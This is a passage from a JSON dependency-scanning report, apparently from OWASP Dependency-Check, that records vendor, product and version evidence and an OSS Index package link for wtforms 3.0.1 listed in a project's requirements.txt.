            "name": "vendor",
            "value": "wtforms"
          }
        ],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "product",
            "value": "wtforms"
          }
        ],
        "versionEvidence": [
          {
            "type": "version",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "version",
            "value": "3.0.1"
          }
        ]
      },
      "packages": [
        {
          "id": "pkg:pypi\/wtforms@3.0.1",
          "confidence": "HIGHEST",
          "url": "https:\/\/ossindex.sonatype.org\/component\/pkg:pypi\/wtforms@3.0.1?utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4"
        }
      ]
    },
    {
      "isVirtual": true,
      "fileName": "wtforms:3.0.1",
      "filePath": "\/builds\/mr\/little_brother\/requirements.txt:wtforms\/3.0.1",
      "evidenceCollected": {
        "vendorEvidence": [
          {
            "type": "vendor",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "vendor",
            "value": "wtforms"
          }
        ],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "product",
            "value": "wtforms"
          }
        ],
        "versionEvidence": [
          {
            "type": "version",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "version",
            "value": "3.0.1"
          }
        ]
      },
      "packages": [
        {
          "id": "pkg:pypi\/wtforms@3.0.1",
          "confidence": "HIGHEST",
          "url": "https:\/\/ossindex.sonatype.org\/component\/pkg:pypi\/wtforms@3.0.1?utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4"
        }
      ]
    }
  ]
}